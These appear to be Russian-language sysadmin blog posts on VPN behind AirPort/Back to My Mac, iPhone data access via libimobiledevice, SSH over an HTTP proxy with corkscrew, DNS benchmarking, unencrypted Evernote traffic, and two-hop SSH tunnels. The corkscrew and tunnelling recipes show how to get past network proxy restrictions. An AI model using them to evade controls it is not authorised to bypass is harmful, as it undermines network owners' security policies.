Back To My Mac выключен:

Соединение устанавливается:

Но если Back To My Mac включен:

То соединение не устанавливается:

Это единственное изменение, которое я проводил.

В документации Apple сказано:

If you wish to enable NAT port forwarding to L2TP VPN servers at private addresses on your AirPort Extreme or Time Capsule network, first ensure that MobileMe is disabled in AirPort Utility. If you configure NAT port forwarding to L2TP VPN servers at private addresses with MobileMe enabled, the setting for port forwarding to the servers will be ignored.”

Если вам нужен и Back to My Mac, и VPN-сервер, то используйте PPTP VPN. Хоть он и менее безопасный, но он работает в такой конфигурации.

Немного деталей. Вот процесс установки соединения без Back To My Mac:

45.599012 109.162.11.133 -> 192.168.98.2 ISAKMP Identity Protection (Main Mode)
45.601468 192.168.98.2 -> 109.162.11.133 ISAKMP Identity Protection (Main Mode)
46.058368 109.162.11.133 -> 192.168.98.2 ISAKMP Identity Protection (Main Mode)
46.069876 192.168.98.2 -> 109.162.11.133 ISAKMP Identity Protection (Main Mode)
46.438942 109.162.11.133 -> 192.168.98.2 ISAKMP Identity Protection (Main Mode)
46.439629 192.168.98.2 -> 109.162.11.133 ISAKMP Identity Protection (Main Mode)
47.738940 109.162.11.133 -> 192.168.98.2 ISAKMP Quick Mode
47.741256 192.168.98.2 -> 109.162.11.133 ISAKMP Quick Mode
47.938956 109.162.11.133 -> 192.168.98.2 ISAKMP Quick Mode
48.177831 109.162.11.133 -> 192.168.98.2 ESP ESP (SPI=0x0c380875)
48.200824 192.168.98.2 -> 109.162.11.133 ESP ESP (SPI=0x0d034052)
...
50.379150 192.168.98.2 -> 109.162.11.133 ESP ESP (SPI=0x0d034052)
50.417807 109.162.11.133 -> 192.168.98.2 ESP ESP (SPI=0x0c380875)
52.650222 192.168.98.2 -> 109.162.11.133 ISAKMP Informational
53.650658 192.168.98.2 -> 109.162.11.133 ISAKMP Informational

А вот – с ним:

 5.492165 109.162.11.133 -> 192.168.98.2 ISAKMP Identity Protection (Main Mode)
 8.492130 109.162.11.133 -> 192.168.98.2 ISAKMP Identity Protection (Main Mode)
11.475359 109.162.11.133 -> 192.168.98.2 ISAKMP Identity Protection (Main Mode)
14.532159 109.162.11.133 -> 192.168.98.2 ISAKMP Identity Protection (Main Mode)

При включении Back To My Mac производится маппинг портов 5353 и 4500 в запросах NAT-PMP Map UDP Request, поэтому L2TP-сервер не может обслуживать запросы, идущие на порт 4500 (IKE NAT Traversal), и в итоге соединение не устанавливается.

Напоследок приведу трейсы при включении и отключении Back To My Mac.

Включаю Back To My Mac

 28.815152 192.168.98.2 -> 109.162.11.133 UDPENCAP NAT-keepalive
 33.488924 192.168.98.2 -> 192.168.98.1 NAT-PMP External Address Request
	NAT Port Mapping Protocol, External Address Request
	    Version: 0
	    Opcode: External Address Request (0)

 33.489063 192.168.98.2 -> 192.168.98.1 SSDP M-SEARCH * HTTP/1.1
	 M-SEARCH * HTTP/1.1\r\n
	     [Expert Info (Chat/Sequence): M-SEARCH * HTTP/1.1\r\n]
	         [Message: M-SEARCH * HTTP/1.1\r\n]
	         [Severity level: Chat]
	         [Group: Sequence]
	     Request Method: M-SEARCH
	     Request URI: *
	     Request Version: HTTP/1.1
	 Host:239.255.255.250:1900\r\n
	 ST:urn:schemas-upnp-org:service:WANIPConnection:1\r\n
	 Man:"ssdp:discover"\r\n
	 MX:3\r\n
	 \r\n

 33.489094 192.168.98.2 -> 192.168.98.1 NAT-PMP Map UDP Request
	NAT Port Mapping Protocol, Map UDP Request
	    Version: 0
	    Opcode: Map UDP Request (1)
	    Reserved: 0
	    Internal Port: 5353
	    Requested External Port: 5353
	    Requested Port Mapping Lifetime: 7200

 33.489109 192.168.98.2 -> 192.168.98.1 SSDP M-SEARCH * HTTP/1.1
	 M-SEARCH * HTTP/1.1\r\n
	     [Expert Info (Chat/Sequence): M-SEARCH * HTTP/1.1\r\n]
	         [Message: M-SEARCH * HTTP/1.1\r\n]
	         [Severity level: Chat]
	         [Group: Sequence]
	     Request Method: M-SEARCH
	     Request URI: *
	     Request Version: HTTP/1.1
	 Host:239.255.255.250:1900\r\n
	 ST:urn:schemas-upnp-org:service:WANPPPConnection:1\r\n
	 Man:"ssdp:discover"\r\n
	 MX:3\r\n
	 \r\n

 33.489134 192.168.98.2 -> 192.168.98.1 NAT-PMP Map UDP Request
	NAT Port Mapping Protocol, Map UDP Request
	    Version: 0
	    Opcode: Map UDP Request (1)
	    Reserved: 0
	    Internal Port: 4500
	    Requested External Port: 4500
	    Requested Port Mapping Lifetime: 7200

 33.489148 192.168.98.2 -> 192.168.98.1 SSDP M-SEARCH * HTTP/1.1
	 M-SEARCH * HTTP/1.1\r\n
	     [Expert Info (Chat/Sequence): M-SEARCH * HTTP/1.1\r\n]
	         [Message: M-SEARCH * HTTP/1.1\r\n]
	         [Severity level: Chat]
	         [Group: Sequence]
	     Request Method: M-SEARCH
	     Request URI: *
	     Request Version: HTTP/1.1
	 Host:239.255.255.250:1900\r\n
	 ST:urn:schemas-upnp-org:service:WANIPConnection:1\r\n
	 Man:"ssdp:discover"\r\n
	 MX:3\r\n
	 \r\n

 33.493555 192.168.98.1 -> 192.168.98.2 ICMP Destination unreachable (Port unreachable)
 33.493559 192.168.98.1 -> 192.168.98.2 ICMP Destination unreachable (Port unreachable)
 33.493723 192.168.98.1 -> 192.168.98.2 ICMP Destination unreachable (Port unreachable)
 	Destination port: ssdp (1900)

 33.493962 192.168.98.1 -> 192.168.98.2 NAT-PMP External Address Response
    Version: 0
    Opcode: External Address Response (128)
    Result Code: Success (0)
    Seconds Since Start of Epoch: 13283
    External IP Address: 111.222.111.222 (111.222.111.222)

 33.502106 192.168.98.1 -> 192.168.98.2 NAT-PMP Map UDP Response
	 Version: 0
	 Opcode: Map UDP Response (129)
	 Result Code: Success (0)
	 Seconds Since Start of Epoch: 13283
	 Internal Port: 5353
	 Mapped External Port: 32773
	 Port Mapping Lifetime: 7200

 33.510384 192.168.98.1 -> 192.168.98.2 NAT-PMP Map UDP Response
	 Version: 0
	 Opcode: Map UDP Response (129)
	 Result Code: Success (0)
	 Seconds Since Start of Epoch: 13283
	 Internal Port: 4500
	 Mapped External Port: 32774
	 Port Mapping Lifetime: 7200

Отключаю Back To My Mac

  3.936568 192.168.98.2 -> 192.168.98.1 NAT-PMP Map UDP Request
	  Version: 0
	  Opcode: Map UDP Request (1)
	  Reserved: 0
	  Internal Port: 4500
	  Requested External Port: 32774
	  Requested Port Mapping Lifetime: 0

  3.936664 192.168.98.2 -> 192.168.98.1 SSDP M-SEARCH * HTTP/1.1
	  M-SEARCH * HTTP/1.1\r\n
	      [Expert Info (Chat/Sequence): M-SEARCH * HTTP/1.1\r\n]
	          [Message: M-SEARCH * HTTP/1.1\r\n]
	          [Severity level: Chat]
	          [Group: Sequence]
	      Request Method: M-SEARCH
	      Request URI: *
	      Request Version: HTTP/1.1
	  Host:239.255.255.250:1900\r\n
	  ST:urn:schemas-upnp-org:service:WANPPPConnection:1\r\n
	  Man:"ssdp:discover"\r\n
	  MX:3\r\n
	  \r\n

  3.938951 192.168.98.1 -> 192.168.98.2 ICMP Destination unreachable (Port unreachable)
	Destination port: ssdp (1900)
  3.943055 192.168.98.1 -> 192.168.98.2 NAT-PMP Map UDP Response
	  Version: 0
	  Opcode: Map UDP Response (129)
	  Result Code: Success (0)
	  Seconds Since Start of Epoch: 13310
	  Internal Port: 4500
	  Mapped External Port: 32774
	  Port Mapping Lifetime: 0

  6.038227 192.168.98.2 -> 192.168.98.1 NAT-PMP Map UDP Request
	  Version: 0
	  Opcode: Map UDP Request (1)
	  Reserved: 0
	  Internal Port: 5353
	  Requested External Port: 32773
	  Requested Port Mapping Lifetime: 0

  6.038303 192.168.98.2 -> 192.168.98.1 SSDP M-SEARCH * HTTP/1.1
	  M-SEARCH * HTTP/1.1\r\n
	      [Expert Info (Chat/Sequence): M-SEARCH * HTTP/1.1\r\n]
	          [Message: M-SEARCH * HTTP/1.1\r\n]
	          [Severity level: Chat]
	          [Group: Sequence]
	      Request Method: M-SEARCH
	      Request URI: *
	      Request Version: HTTP/1.1
	  Host:239.255.255.250:1900\r\n
	  ST:urn:schemas-upnp-org:service:WANIPConnection:1\r\n
	  Man:"ssdp:discover"\r\n
	  MX:3\r\n
	  \r\n

  6.040599 192.168.98.1 -> 192.168.98.2 ICMP Destination unreachable (Port unreachable)
  	Destination port: ssdp (1900)

  6.043605 192.168.98.1 -> 192.168.98.2 NAT-PMP Map UDP Response
	  Version: 0
	  Opcode: Map UDP Response (129)
	  Result Code: Success (0)
	  Seconds Since Start of Epoch: 13310
	  Internal Port: 5353
	  Mapped External Port: 32773
	  Port Mapping Lifetime: 0

Администраторам часто приходится работать с серверами удалённо, как по ssh, так и по VNC/RDP/Screen Sharing/Remote Management.
Можно открывать прямой доступ к нужным сервисам, полагаясь на пароли. Можно улучшать безопасность, разрешая доступ на брендмауерах только с определённых доверенных хостов и категорически не допускать внесения в этот список сетей по принципу “Ага, Yota. Ага, у них блок /18. Ага, администратор пользуется Yota. Ага, разрешим доступ со всего блока /18″ (к сожалению, в этом блоке есть сотни зараженных хостов, которые сканируют всё окружающее на предмет дыр, а от дыр не застрахован никто).

Но можно построить составную политику безопасности – для доступа в сеть использовать VPN-шлюз, а уже через VPN можно получить доступ к нужным ресурсам. Это и удобно – доступ можно разрешить из публичного Интернет, и достаточно безопасно при условии нормальной политики паролей.

В своей лаборатории я использую Mac OS X Server, на котором решил проверить вопросы, возникающие при реализации такой схемы. В Mac OS X Server VPN-сервер встроен и управляется через GUI. Вы также можете вручную настроить VPN-сервер на Mac OS X по статье Павла Цибулина “Snow Leopard as VPN server“.

Конфигурация сети такова:

• доступ в Интернет из локальной сети обеспечивается WiFi-маршрутизатором через NAT
• в локальной сети стоит VPN-сервер на Mac OS X Server 10.6
• нужно получить доступ из публичного Internet в локальную сеть через VPN-сервер

На первый взгляд всё просто – настраиваешь проброс нужных портов с внешнего интерфейса WiFi-маршрутизаторе на VPN-сервер и пользуешься. Но реальная жизнь всегда сложнее.

У меня стоит Linksys WRT610n v1 (с последней официальной прошивкой). В нём можно описать один хост из локальной сети как хост из DMZ, и все запросы на внешний адрес WiFi-маршрутизатора будут передаваться автоматически на этот хост. Сделал – глухо. Ни PPTP, ни L2TP не заработали, в логах были попытки, но дальше LCP ничего не шло, и соединение не устанавливалось. При попытке соединения из локальной сети VPN поднимался без вопросов. Вывод – причина в маршрутизаторе.

Решил зайти с другой стороны и явно разрешить используемые порты – аналогичная картина.

И тут я вспомнил, что давно хотел купить для лаборатории AirPort Express (предварительно найдя информацию, что интересующая меня схема возможна). Сказано – сделано. Зашёл в iLand (Киев), пообщался с приятными людьми, повосхищался iPhone4, и вышел с AirPort Express.

Настроил точку, открыл нужные порты согласно документа ““Well known” TCP and UDP ports used by Apple software products“:

Конфигурация AirPort выглядит так:

Детали по портам:

Само собой, для VPN-сервера настроена выдача статического адреса по DHCP:

VPN-сервер у меня уже настроен (и L2TP, и PPTP). Были, конечно, некоторые проблемы – не всё так быстро происходит, как пишется. Они были связаны именно с L2TP – PPTP заработал сразу.

Но после вчитывания в фразу “VPN and MobileMe are mutually exclusive when configured through an Apple access point (such as an AirPort Base Station); MobileMe will take precedence” и многократного запуска tshark я отключил на сервере “Back to My Mac”. После чего всё заработало (и PPTP, и L2TP):

Особенность – при настройке PPTP нужно указать “Encryption Level = Auto”.

Есть и другие вопросы (динамическая выдача маршрутов на нужные сети, маршрутизация, фильтрация), но об этом напишу в другой раз.

P.S. Маршрутизатор Linksys WRT610n v1 остался не у дел. Попробовал поставить прошивку dd-wrt, но радиочасть не захотела включаться. Откатился обратно. Да и что-то у меня нет желания возиться со странными неофициальными прошивками – Apple меня развратил красотой решений. А вот AirPort Express я очень доволен. Сейчас воткнул в него наушники и транслирую музыку с ноутбука. Благодать.

Сегодня наткнулся на обсуждение в ru_mac о безопасности данных на iPhone, вызванная возможностью получения доступа ко всем данным на Linux через библиотеку libimobiledevice. Всё было бы не так грустно, если бы в определённых случаях нельзя было бы получить доступ к iPhone, который заблокирован с помощью PIN-кода (PIN на вход в систему, к PIN-коду SIM-карты это не имеет отношения). Описание уязвимости я прочитал 28.05.2010 в статье “iPhone security flaw: Using a PIN won’t help you“, но только сейчас решил её проверить.

Развитие подобных тем очень предсказуемо. Появляется информация об уязвимости, какое-то время все её обсуждают, проверяют, и приходят к выводу, что всё в порядке. Затем через пару недель подключаются журналисты, которые на основании “исследований британских исследователей из британского исследовательского института” подымают панику начиная от газет, заканчивая телевидением. Мда…

Забегая наперёд скажу, что уже 02.06.2010 было установлено:

It appears the issue only applies if you switch the device off during an “unlocked” state (thus you entered the passcode already and see the icons) but not if you power it down while it requests you to enter a passcode making this whole mess less dramatic…

“Определённые случаи”, которые подвержены проблеме, это телефоны, на которых был включен PIN-код, но они после этого не перезагружались (я никогда не перезагружался после этой операции, согласитесь, что это явная проблема в iPhone OS).

Таким образом, если вы не хотите, чтобы к вашим данным могли получить доступ злоумышленники, умыкнувшие iPhone, установить PIN и перезагрузитесь.

Но вернёмся к теме. 21.03.2010 вышел релиз libimobiledevice и ifuse, использование которых сделало возможным работать с iPhone, iPod Touch и затем с iPad (когда он вышел). Продемонстрирую, как их использовать на примере Ubuntu Linux 10.04 и iPhone 3Gs 3.1.3. Я использовал информацию, приведённую в статье “iPhone syncing on Linux“.

Подчёркиваю – все операции проводим на Ubuntu Linux, не на Mac’е.

Ставим нужные библиотеки и утилиты (libgpod4 и gtkpod особо не нужны, поставил за компанию):

$ sudo aptitude install libimobiledevice-utils libimobiledevice-doc
$ sudo aptitude install libplist-dev libplist-utils
$ sudo aptitude install ifuse
$ sudo aptitude install libgpod4
$ sudo aptitude install gtkpod

Мой iPhone перезагружался несколько раз после установки PIN’а, но меня как раз интересовало, можно ли получить доступ при включенном PIN. Я не искал, где записывается информация о “спаривании” телефона с Linux, если найду, то проверю утверждение насчёт подверженности именно неперезагруженых iPhone после установки PIN.

Телефон залочен. Пытаюсь примонтировать его – ответ отрицательный, ни получить информацию, ни примонтировать телефон нельзя:

$ mkdir ~/tmp/iphone
$ ideviceinfo
$ ifuse ~/tmp/iphone
Please disable the password protection on your device and try again.
The device does not allow pairing as long as a password has been set.
You can enable it again after the connection succeeded.

Ввожу PIN. Теперь всё доступно:

$ ideviceinfo
ActivationPublicKey: ...
ActivationState: WildcardActivated
ActivationStateAcknowledged: true
BasebandBootloaderVersion: 6.4_M3S2
BasebandSerialNumber: 0a49987a4a145d057fc4cccc
BasebandVersion: 05.12.01
BluetoothAddress: 04:1e:64:cc:cc:cc
BuildVersion: 7E18
CPUArchitecture: armv7
...
DeviceClass: iPhone
DeviceName: ole_iphone
...

Монтирую:

$ ifuse ~/tmp/iphone
$ ls -al tmp/iphone/
drwxr-xr-x  2 ole ole   68 2010-05-26 15:36 ApplicationArchives
-rw-r--r--  1 ole ole    0 2010-03-21 16:06 com.apple.itdbprep.postprocess.lock
-rw-r--r--  1 ole ole    0 2010-03-21 16:06 com.apple.itunes.lock_sync
drwxr-xr-x  4 ole ole  204 2010-03-21 16:09 DCIM
drwxr-xr-x  2 ole ole  102 2010-06-02 02:06 Downloads
drwxr-xr-x  2 ole ole  102 2010-04-05 20:45 iPhoneDrive
drwxr-xr-x  7 ole ole  238 2010-03-21 16:19 iTunes_Control
drwxr-xr-x  3 ole ole  170 2010-06-03 10:53 Photos
drwxr-xr-x  2 ole ole   68 2010-03-21 16:06 Podcasts
drwxr-xr-x  2 ole ole   68 2010-06-02 17:03 PublicStaging
drwxr-xr-x  2 ole ole   68 2010-03-21 16:06 Purchases
drwxr-xr-x  2 ole ole  238 2010-03-28 14:35 Recordings
drwxr-xr-x  2 ole ole  136 2010-06-03 10:53 Safari

Можно также получить расширенную информацию по iTunes для синхронизации (меня это слабо интересует). Получаю device_id, генерирую файл:

$ idevice_id -l
b17056e12f05292e258f015c47d2b6a543cccccc
$ ipod-read-sysinfo-extended b17056e12f05292e258f015c47d2b6a543cccccc ~/tmp/iphone
$ ls -al ~/tmp/iphone/iTunes_Control/Device/SysInfoExtended
-rw-r--r-- 1 ole ole 24682 2010-06-03 11:58 /home/ole/tmp/iphone/iTunes_Control/Device/SysInfoExtended

Размонтирование:

$ fusermount -u ~/tmp/iphone

Телефон уже “спарован”, поэтому на этой же рабочей станции для получения доступа к содержимому вводить PIN-код уже не нужно.

Но для “закрепления” уверенности я повторил те же самые шаги на другой рабочей станции с Ubuntu 10.04. Всё аналогично – без ввода PIN-кода получить доступ к данным нельзя:

$ ifuse ~/tmp/iphone
Please disable the password protection on your device and try again.
The device does not allow pairing as long as a password has been set.
You can enable it again after the connection succeeded.

Резюмирую – скорее всего ошибка в iPhone OS есть, но если после настройки PIN-кода вы перезагрузите iPhone, то маловероятно, что злоумышленники получат доступ к вашим данным. К моему телефону без знания PIN’а получить доступ мне не удалось.

Давно я не писал про преодоление защиты сетей. Наверстываю.

Все разы, когда я ездил за границу, в отелях практически всегда был нормальный доступ по WiFi на базе NAT (в основном через transparent proxy для авторизации, но никаких телодвижений по настройке прокси со стороны клиента не требовалось). Только два раза я натыкался на “тупые” конфигурации – один раз в московском отеле, другой – в Амстердаме. Для работы приходилось прописывать прокси, руководствуясь информацией, полученной на receiption.

Конечно же, ssh через web-прокси не работает. Как назло во втором случае мне было очень нужно попасть на мой сервер. Я собирался выкручиваться путём записи на свой сайт скрипта, обеспечивающего доступ к shell, например, PHP and AJAX shell console, но @andy_shev мне порекомендовал corkscrew, утилиту для туннелирования SSH поверх HTTP-прокси. Ею я и воспользовался, за что Andy огромное спасибо.

Одно “но”. Corkscrew использует метод CONNECT, а squid, использующийся в качестве web-прокси в большинстве случаев, в конфигурации по умолчанию разрешает CONNECT только на порт 443:

acl SSL_ports port 443
acl CONNECT method CONNECT
http_access deny CONNECT !SSL_ports

Поэтому corkscrew выдаст “Proxy could not open connnection to host.com: Forbidden” при попытке соединения на любой порт, на котором обычно вешается ssh. Мне повезло, так как я на своём сервере держал ssh на порту 443. Если и вы собираетесь воспользоваться corkscrew, то предварительно перекиньте ssh на 443/tcp.

Приступим. Я использую менеджер пакетов HomeBrew.

Обновляемся:

$ brew update

Ставим corkscrew:

$ brew install corkscrew

Предположим, прокси-сервер находится на адресе 192.168.99.101 и порту 3128. Добавляем в начало конфиг-файла ssh строки:

$ vim ~/.ssh/config
Host *
    ProxyCommand /usr/local/bin/corkscrew 192.168.99.101 3128 %h %p

Если ssh находится не на порту 443, и squid разрешает только порт 443, то получим сообщение (при указании флага “-v”):

$ ssh -v host.com
...
debug1: Reading configuration data /etc/ssh_config
debug1: Executing proxy command: exec /usr/local/bin/corkscrew 192.168.99.101 3128 host.com 22
...
Proxy could not open connnection to host.com:  Forbidden
ssh_exchange_identification: Connection closed by remote host

Для решения проблемы нужно предварительно в конфиг-файле sshd на сервере поменять порт на 443 и перезапустить sshd (конечно же, на этом хосте не должен стоять web-сервер с https):

$ vim /etc/ssh/sshd_config
Port 443

Перезапуск sshd для разных систем делается по-своему, я делаю это через “ps ax | grep sshd”, а потом перезапускаю нужный sshd.

Всё, можно пользоваться:

$ ssh -v -p 443 host.com
Linux host.com 2.6.32-linode23 #1 SMP Sat Dec 5 16:04:55 UTC 2009 i686

12:02 [ctrld@host][~] 

Решений для выход за пределы сети существует много. Описанный мною метод – только один из многих. Любой грамотный IT-специалист навскидку найдёт несколько вариантов, и по крайней мере один из них будет вполне рабочим. Поэтому я всегда скептически отношусь к заявлениям “Специалистов По Корпоративной Безопасности”, что они способны закрыть доступ.

Не знаю, как вы, а я везде на своих личных ресурсах и WiFi-маршрутизаторах перешёл на Google DNS (8.8.8.8 и 8.8.4.4). К этому меня подтолкнула в том числе и проблема с DNS-серверами Воли (подтвердить это не могу, но какое-то время один из них не ничего резолвил).

Можно долго рассуждать о приватности и о том, что Google делает с запросами. Да, я думаю, что на основании этих запросов строятся модели поведения пользователей, и это явно используется в бизнесе Google. Но в данном случае я отношусь к категории “неуловимых Джо” – мне абсолютно безразлично, что обо мне собирают данные таким образом, так как моя модель поведения в Интернет легальна и не отличается от миллионов других пользователей.

Сегодня я решил протестировать скорость работы различных DNS. Тестирование отнюдь не комплексное, я делаю проверку на своём ADSL-соединении. Но и не ставлю перед собой открыть абсолютную истину – каждый выбирает решение для своих условий и задач, и для этого есть полезный инструмент бенчмаркинга DNS – Namebench (Open Source, есть версии под Mac OS X 10.5+, Win и Unix). Ещё сделаю замечание, что это тестирование я отнюдь не делаю “на злобу дня” – тесты проводились многими сразу же после анонса Google DNS, мне же стало интересно самому попробовать.

Я указал для проверки DNS-сервер провайдера (192.168.99.1 транслирует запросы на один из них), DNS Google (8.8.8.8, 8.8.4.4), а сама система автоматически добавила публичные сервера (OpenDNS, UltraDNS, etc). За 5 минут работы система протестировала 11 серверов и сгенерировала файл html с результатами.

Анализировать не буду, хотя записи “www.paypal.com. hijacked (‘Re-Request in TCP\000′)” достаточно любопытны. Вполне возможно, что DNS-сервер ns2.life.ua подвержен DNS spoofing’у, и в комбинации с SSL bypass трафик пользователей на тот же paypal может очень эффективно утекать к “злоумышленникам”.

По крайней мере я увидел, что Google DNS хоть и не самые быстрые, но держат средние позиции. А по надёжности и актуальности версии софта на мой личный взгляд они самые лучшие. Поэтому я их выбрал изначально и их же после теста оставляю.

О бизнесе Google я сказал выше – он понятен и честен. А вот бизнес компаний вроде UltraDNS и OpenDNS на мой взгляд сомнителен. Да, они делают хорошее дело – предоставляют всем желающим свои сервера для резолвинга. Но с небольшим бонусом (NXDOMAIN Hijacking). На запросы несуществующих доменов (например, пользователь ошибся) вместо выдачи Name Error (NXDOMAIN) эти компании выдают адрес своего web-сервера:

$ dig @156.154.70.1 cccccccccc.ua
cccccccccc.ua.		600	IN	A	92.242.140.13

$ dig @208.67.220.220 cccccccccc.ua
cccccccccc.ua.		0	IN	A	67.215.65.132

Ничего особенного – пользователю выдаётся страница с сообщением о том, что домен не найден и строкой поиска и блоком рекомендуемых ссылок.

Например, UltraDNS:

А OpenDNS меня поразил своей страницей – это уже перебор:

И понятно, что таким образом компании зарабатывают деньги на поддержание сервиса. Но для меня это сродни спаму и я категорически не пользуюсь ни OpenDNS, ни UltraDNS. И я рад, что в нишу публичных DNS-серверов пришёл Google – аналогичную радость я испытывал, когда Apple вышла на рынок с iPhone в противовес классическим производителям мобильных телефонов.

Да… Я хотел всего продемонстрировать программу тестирования производительности DNS. Но сколько волка не корми – он лезет в область безопасности. Тем более, что куда ни ткни, есть огромные дыры. Начиная от инъекции рекламы, заканчивая DNS spoofing’ом/DNS poisoning’ом. Размышляйте – это полезно.

Хочу дать немного пищи для ума. Многие пользуются сервисом Evernote (я – в том числе) и хранят в нём достаточно много информации. И она бывает достаточно конфиденциальной. Например, это могут быть пароли к каким-то сервисам, лицензионные ключи и много другого, что совсем не предназначено для посторонних глаз.

Разработчики Evernote не альтруисты, и они хотят заработать деньги. Поэтому предлагается бесплатная и платная версии. Подписка на Premium в год стоит $45.

Давайте внимательно посмотрим на то, чем различается бесплатная и платная версии сервиса (я цитирую русскую версию):

Вот что получают премиум-пользователи Evernote

• Увеличенный до 500 МБ* в месяц объем загружаемых заметок
• Возможность прикреплять, синхронизировать и получать доступ к любому файлу на всех платформах и устройствах
• Поиск текста в изображениях внутри в PDF
• Усиленную безопасность с применением протокола SSL при входе в систему и передаче данных
• Приоритетное распознавание текста в изображениях
• Приоритетное обслуживание и поддержка
• Отсутствие рекламы
• Другие эксклюзивные возможности — совсем скоро!

Да, объёмы важны. Да, приоритетное распознавание замечательно. Да, отсутствие рекламы радует. Но вот обратили ли вы внимание на 4-й пункт?

А теперь давайте в бесплатной версии создадим заметку и применим tshark и hexdump. Для демонстрации эта заметка озаглавлена “testtestsubject” и содержит поле “testtestbody”.

И что же мы видим?

Hypertext Transfer Protocol
    POST /edam/note/s16 HTTP/1.1\r\n
        [Expert Info (Chat/Sequence): POST /edam/note/s16 HTTP/1.1\r\n]
            [Message: POST /edam/note/s16 HTTP/1.1\r\n]
            [Severity level: Chat]
            [Group: Sequence]
        Request Method: POST
        Request URI: /edam/note/s16
        Request Version: HTTP/1.1
    Host: www.evernote.com\r\n
    User-Agent: Evernote Mac/66805 (en-UA); MacOS/10.6.2;\r\n
    Accept: application/x-thrift\r\n
    Content-Type: application/x-thrift\r\n
    Accept-Language: en-us\r\n
    Accept-Encoding: gzip, deflate\r\n
    Content-Length: 111\r\n
        [Content length: 111]
    Connection: keep-alive\r\n
    \r\n
Media Type
    Media Type: application/x-thrift (111 bytes)

Application/x-thrift содержит такие данные:

0001a900  28 50 18 ff ff 09 fb 00  00 00 00 00 0a 63 72 65  |(P...........cre|
0001a910  61 74 65 4e 6f 74 65 01  00 00 00 00 0b 00 01 00  |ateNote.........|
0001a920  00 00 52 53 3d 73 31 36  3a 55 3d 31 63 65 38 64  |..RS=s16:U=1ce8d|
0001a930  31 3a 45 3d 31 32 35 37  39 61 34 39 64 38 65 3a  |1:E=12579a49d8e:|
0001a940  43 3d 31 32 35 37 39 36  64 61 66 30 66 3a 50 3d  |C=125796daf0f:P=|
0001a950  33 66 3a 48 3d 66 30 34  65 66 36 62 34 34 63 65  |3f:H=f04ef6b44ce|
0001a960  33 61 32 39 32 34 35 35  31 63 61 38 37 61 66 34  |3a2924551ca87af4|
0001a970  38 63 30 61 66 0c 00 02  0b 00 02 00 00 00 0f 74  |8c0af..........t|
0001a980  65 73 74 74 65 73 74 73  75 62 6a 65 63 74 0b 00  |esttestsubject..|
0001a990  03 00 00 00 91 3c 3f 78  6d 6c 20 76 65 72 73 69  |.....<?xml versi|
0001a9a0  6f 6e 3d 22 31 2e 30 22  20 65 6e 63 6f 64 69 6e  |on="1.0" encodin|
0001a9b0  67 3d 22 55 54 46 2d 38  22 3f 3e 0a 3c 21 44 4f  |g="UTF-8"?>.<!DO|
0001a9c0  43 54 59 50 45 20 65 6e  2d 6e 6f 74 65 20 53 59  |CTYPE en-note SY|
0001a9d0  53 54 45 4d 20 22 68 74  74 70 3a 2f 2f 78 6d 6c  |STEM "http://xml|
0001a9e0  2e 65 76 65 72 6e 6f 74  65 2e 63 6f 6d 2f 70 75  |.evernote.com/pu|
0001a9f0  62 2f 65 6e 6d 6c 2e 64  74 64 22 3e 0a 3c 65 6e  |b/enml.dtd">.<en|
0001aa00  2d 6e 6f 74 65 3e 74 65  73 74 74 65 73 74 62 6f  |-note>testtestbo|
0001aa10  64 79 c2 a0 c2 a0 c2 a0  c2 a0 c2 a0 3c 2f 65 6e  |dy..........</en|
0001aa20  2d 6e 6f 74 65 3e 0b 00  04 00 00 00 10 5c fd 82  |-note>.......\..|

Заметили “testtestsubject” и “testtestbody”? Именно об этом и говорит пункт 4.

Не обращайте внимание на “Усиленную безопасность с применением протокола SSL при входе в систему” – аутентификация как в платной, что в бесплатной версии идёт по SSL, и пароль доступа в Evernote надёжно защищён.

Но вот содержимое заметок в бесплатной версии вполне просто получить злоумышленнику. Радует то, что при использовании клиента Evernote данные кешируются локально, и каждый раз не гоняются через сеть. Но вот новые и модифицируемые заметки, как вы видите, вполне доступны.

Подходите к безопасности осознанно. И если она для вас реально важна, то или покупайте premium-версию Evernote, или же не используйте этот сервис.

Но если вы критичные данные не храните, то Evernote очень хорош и я его с этой оговоркой очень рекомендую.

Предположим типичную для системного администратора задачу – есть сервер где-то в глубине сети, на который нужно попасть, предположим, по http, но консольный lynx/elinks не подходит, а нужен именно Safari/Firefox/Chrome (например, сайт на flash или нужна Java). Причём прямого доступа с ноутбука из Интернет на этот сервер нет, но есть “jumpbox” (сервер, исключительно через который открыт доступ по ssh в закрытую сеть). У меня такая ситуация была, когда нужно было попасть на IP-KVM внутри закрытой firewall’ом сети (я использовал ssl, но здесь для простоты покажу на примере порта 80).

Итак, имеем:

1. notebook. Находится в Интернет.
2. server1 (8.8.8.9). На него разрешён доступ по ssh (желательно использовать технику port-knocking для предоставления доступа к ssh только после нескольких запросов на разные порты этого сервера, иначе отбой).
3. server2 (9.9.9.1). Шлюз сети, но по ssh из Интернет на него попасть нельзя, на него открыт доступ по ssh исключительно с server1. Второй интерфейс сервера смотрит во внутреннюю сети и с него есть доступ на webserver
4. webserver (10.10.10.2). Доступ на web-сервер есть только из внутренней сети, в частности с server 2

Задача: с notebook получить доступ к webserver по http.

Шаг 1. На ноутбуке строим ssh-туннель на server1 (конечно же, туннелирование не должно быть запрещено в /etc/sshd_config – параметр PermitTunnel по умолчанию включен)

ssh user_on_server1@8.8.8.9 -L 2000:9.9.9.1:22 -N

Начало туннеля на ноутбуке (localhost, порт 2000), конец – на server2 на порту 22.

-N – не выполнять команды на удалённом хосте, полезно для туннелирования.

Шаг 2. Строим второй туннель поверх первого туннеля на webserver. Заметьте, что при соединии на порт 2000 на localhost соединение пробрасывается на 9.9.9.1 порт 22 (server2, и нужно вводить пароль пользователя именно на server2):

ssh -p 2000 user_on_server2@localhost -L 80:10.10.10.2:80 -N

Учтите, что web-sharing на ноутбуке должен быть отключен, иначе соединение не установится. Если же отключить его нельзя, то можно перекинуть на другой порт начало туннеля.
Получили туннель с началом на localhost, порт 80, и концом – на порту 80 webserver’а.

Шаг 3. Запускаем браузер и указываем http://127.0.0.1. Поверх двух туннелей заходим через Интернет на web-сервер во внутренней сети.

Если на web-сервере явно прописано имя сайта, как в wordpress (например, www.site.com), то первый же линк сайта уведёт с localhost на www.site.com. Если такое случилось, то делаем трюк, явно пишем в /etc/hosts:

127.0.0.1	www.site.com

Главное потом убрать эту строку, когда понадобится прямой доступ.

Туннелирование очень мощный инструмент, но с первого раза просто запутаться. Пару экспериментов – и всё станет понятно. Конфигурацию с web-сервером я привёл для примера. Точно так же можно организовать проброс для соединения с сервером Windows по RDC, на VPN SSL-сервер и т.п.

